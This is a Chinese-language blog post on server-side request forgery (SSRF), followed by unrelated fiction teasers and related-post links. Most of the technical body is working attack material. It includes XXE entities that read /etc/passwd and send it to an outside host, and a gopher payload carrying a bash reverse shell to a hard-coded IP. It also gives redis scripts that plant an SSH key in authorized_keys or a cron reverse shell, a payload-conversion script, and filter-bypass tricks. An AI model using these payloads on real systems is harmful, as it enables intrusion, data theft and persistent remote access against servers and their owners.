SSRF漏洞

全称Server-Side Request Forgery服务器端请求伪造,是一种经攻击者构造形成由服务端发起请求的一个安全漏洞。
SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。

可利用的点

节选自猪猪侠的《build your ssrf framework》

  • XML
    DTD Remote Access
    <!ENTITY % d SYSTEM "http://wuyun.org/evil.dtd">
    XML 外部实体
    <!ENTITY % file system "file:///etc/passwd" >
    <!ENTITY % d SYSTEM "http://wuyun.org/file?data=%file">
    URL调用
    <!DOCTYPE roottag PUBLIC "-//VSR//PENTEST//EN" "http://wuyun.org/urlin">

  • 数据库自带的访问网络的功能
    MongoDB db.copyDatabase('\r\nconfig set dbfilename wyssrf\r\nquit\r\n’,'test','10.6.4.166:6379')
    Oracle
    select UTL_HTTP.REQUEST('http://'||(select version from v$nstance)||'test.com') from dual
    PostgresSQL
    SELECT dblink_send_query('host=127.0.0.1 dbname=quit user=\'\r\nconfig set dbfilename wyssrf\r\n\quit\r\n' password=1 port=6379 sslmode=disable', 'select version();');
    MSSQL

    • SELECT openrowset('SQLOLEDB','server=192.168.1.5;uid=sa;pwd=sa;database=master')
    • SELECT * FROM OpenDatasource('SQLOLEDB','Data Source=ServerName;User ID=sa;Password=sa').Northwind.dbo.Categories

    CouchDB

    POST http://couchdb-server:5984/_replicate
    Content-Type: application/json
    Accept: application/json
    
    { "source" : "recipes",
    "target" : "dict://redis.wuyun.org:6379/flushall",}
  • 应用系统中设置远程服务器的功能
  • 文件处理、编码处理、属性信息处理(应用系统的自动预览功能)
    • FFmpeg concat:http://wyssrf.wuyun.org/header.y4m|file:///etc/passwd
    • ImageMagick (mvg) fill 'url(http://wyssrf.wuyun.org)'
    • XML parsers ( XSLT ) XSLT包含了100个内置函数(能访问网络?)
      document() include() import()
  • python urllib http头注入,好像是哪个cve?
    利用如下的url http://127.0.0.1%0d%0aX-injected:%20header%0d%0ax-leftover:%20:ur10ser/test
    服务器返回
GET /test HTTP/1.1
Accept-Encoding: identity
User-Agent: Python-urllib/3.4
Host: 127.0.0.1
X-injected: header
x-leftover: :ur10ser
Connection: close

协议扩大攻击面

主要攻击 redis、discuz、fastcgi、memcache、内网脆弱应用这几类应用,主要利用gopher协议,以及filedict

  • dict://fuzz.wuyun.org:8080/helo:dict
  • file:///etc/passwd

注意
大部分 PHP 并不会开启 fopen 的 gopher wrapper
file_get_contents 的 gopher 协议不能 UrlEncode
file_get_contents 关于 Gopher 的 302 跳转有 bug,导致利用失败
curl/libcurl 7.43 上 gopher 协议存在 bug(%00 截断),7.45以上无此bug
curl_exec() 默认不跟踪跳转,
file_get_contents() 支持php://input协议

java中支持的协议更为有限,file ftp mailto http https jar netdoc,比较有用的就file和http协议了。

构造Gopher载荷

gopher可以向任何端口发送任意形式的请求,构造方法与http类似。基本结构如下:
URL:gopher://<host>:<port>/<gopher-path>_后接TCP数据流
比如http的POST请求,在gopher中是这样的
gopher://test.com/_POST /exp.php HTTP/1.1%0d%0aHost: test.com_ip%0d%0aUser-Agent: curl/7.43.0%0d%0aAccept: */*%0d%0aContent-Length: 49%0d%0aContent-Type: application/x-www-form-urlencoded%0d%0a%0d%0ae=bash -i >%2526 /dev/tcp/172.19.23.228/2333 0>%25261null

以喜闻乐见的redis为例。替换成自己的redis IP和端口。
上传公钥的脚本

(echo -e "\n\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n\n") > upload.txt
cat ~/upload.txt | redis-cli -h $1 -p $2 -x set tmp
redis-cli -h $1 -p $2 -x config set dir /root/.ssh
redis-cli -h $1 -p $2 -x config set dbfilename authorized_keys
redis-cli -h $1 -p $2 -x get tmp
redis-cli -h $1 -p $2 -x save
redis-cli -h $1 -p $2 -x quit

反弹shell的脚本

echo -e "\n\n\n*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1\n\n\n"|redis-cli -h $1 -p $2 -x set 1
redis-cli -h $1 -p $2 config set dir /var/spool/cron/
redis-cli -h $1 -p $2 config set dbfilename root
redis-cli -h $1 -p $2 save
redis-cli -h $1 -p $2 quit

用socat监听4444端口,将流量转发到6379端口,同时会把请求流量记录到文件
socat -v tcp-listen:4444,fork tcp-connect:192.168.70.128:6379 2>&1|tee socat.log
执行脚本 bash shell.sh 127.0.0.1 4444,图略

为了将流量转化为gopher协议,先了解下socat记录tcp流的格式:

  • >开头一行表示客户端发送了一个tcp包
  • <开头一行表示服务器返回了一个tcp包

基于以上格式,要这么转换

  • 字符串\r替换成%0d%0a
  • 空白行替换为%0a
  • 空格替换成%20
  • 再使用urlencode(给php时会做一次decode,curl再做一次decode)
....
    # 判断倒数第2、3字符串是否为\r
    if line[-3:-1] == r'\r':
       # 如果该行只有\r,将\r替换成%0a%0d%0a
       if len(line) == 3:
           exp = exp + '%0a%0d%0a'
       else:
           line = line.replace(r'\r', '%0d%0a')
           # 去掉最后的换行符
           line = line.replace('\n', '')
           exp = exp + line
    # 判断是否是空行,空行替换为%0a
    elif line == '\x0a':
       exp = exp + '%0a'
    else:
       line = line.replace(' ', '%20')
       line = line.replace('\n', '')
       exp = exp + line
exp=quote(exp)

如果是单次请求如php fastcgi,可以考虑用nc -lvvp 9000>1.txt来转储请求包

绕过

数字地址绕过

一般来说,开发者会使用正则对传入的URL进行匹配,过滤掉内网IP,比如:
192.168.*.*10.0.*.*等。

^10(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){3}$
^172\.([1][6-9]|[2]\d|3[01])(\.([2][0-4]\d|[2][5][0-
5]|[01]?\d?\d)){2}$
^192\.168(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$

四位点分十进制形式的IP地址127.0.0.1代表一组32位二进制数码,如果合在一起再转换成一个十进制数的话,答案就是1945096731。
127*256^3+0*256^2+0*256^1+1*256^0=
1929379840+15663104+53760+27=2130706433
比如:百度的IP地址“119.75.218.77”转换成数字地址就是“2001459789”

可以改变ip的写法来绕过,各进制可以互相混用

  • 8进制格式:0300.0250.0.1
  • 16进制格式:0xC0.0xA8.0.1
  • 10进制整数格式:3232235521
  • 16进制整数格式:0xC0A80001

xip.ionip.io

这是一个神奇的域名,nslookup 127.127.127.127.xip.io看看

利用URL解析的问题

完整的URL scheme:[//[user[:password]@]host[:port]][/path][?query][#fragment]

许多URL方案保留某些特殊含义的字符:字符“;”,“/”,“?”,“:”,“@”,“=”和“&”可以保留用于方案内的特殊含义。在方案中不能保留其他字符。
分号(“;”)和等于(“=”)保留字符通常用于分隔适用于该段的参数和参数值。逗号(“,”)保留字符通常用于类似目的

http://www.baidu.com@192.168.1.1
http://google.com:80+&@127.88.23.245:22/#+@google.com:80/
http://127.88.23.245:22/+&@google.com:80#+@google.com:80/
http://google.com:80+&@google.com:80#+@127.88.23.245:22/
http://127.88.23.245:22/?@google.com:80/
http://127.88.23.245:22/#@www.google.com:80/

其他办法

  1. URL任意跳转 找到一个子域名或者白名单域名的任意跳转
  2. 重定向
  3. 利用符号,比如点号换成句号,或者利用Enclosed alphanumerics
  4. Dns Rebinding 自建DNS服务器,服务端第一次进行解析返回的是内网ip,绕过验证之后,真正发起请求时解析的结果反而是外网ip。域名的ttl时间要设置为0

测试工具

https://github.com/swisskyrepo/SSRFmap 整合了常见的内网应用的攻击面
https://github.com/iamultra/ssrfsocks 顾名思义,利用SSRF+Gopher做成一个socks代理
https://github.com/tarunkant/Gopherus 构造常见的内网应用的gopher请求

修复建议

限制请求的协议为http或者https?
提取host,验证ip是否为内网?
好像并没有什么好的修复方法。

参考
https://blog.chaitin.cn/gopher-attack-surfaces/
https://www.cnblogs.com/mrchang/p/6254634.html
https://github.com/cujanovic/SSRF-Testing 有转换ip的脚本
https://anemone.top/ssrf-SSRF%E6%88%90%E5%9B%A0%E3%80%81%E6%94%BB%E5%87%BB%E5%92%8C%E9%98%B2%E5%BE%A1/

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 196,165评论 5 462
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 82,503评论 2 373
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 143,295评论 0 325
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 52,589评论 1 267
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 61,439评论 5 358
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 46,342评论 1 273
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 36,749评论 3 387
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 35,397评论 0 255
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 39,700评论 1 295
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 34,740评论 2 313
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 36,523评论 1 326
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 32,364评论 3 314
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 37,755评论 3 300
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,024评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 30,297评论 1 251
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 41,721评论 2 342
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 40,918评论 2 336

推荐阅读更多精彩内容

  • 一、weblogic ssrf攻击redis Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTT...
    Instu阅读 3,657评论 2 0
  • 米斯特白帽培训讲义 漏洞篇 SSRF 讲师:gh0stkey 整理:飞龙 协议:CC BY-NC-SA 4.0 很...
    布客飞龙阅读 1,496评论 0 9
  • 什么是 SSRF ? 简介:SSRF(Server-Side Request Forgery)服务端请求伪造,是一...
    鸡翅儿阅读 2,546评论 0 1
  • 0x00原理 一般的请求:客户端发起请求,服务器响应。 另外一种请求:客户端发起请求(向服务端提供一个URL),服...
    0x525c阅读 2,478评论 0 1
  • 什么是csrf csrf通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS),但...
    青山i阅读 3,467评论 0 4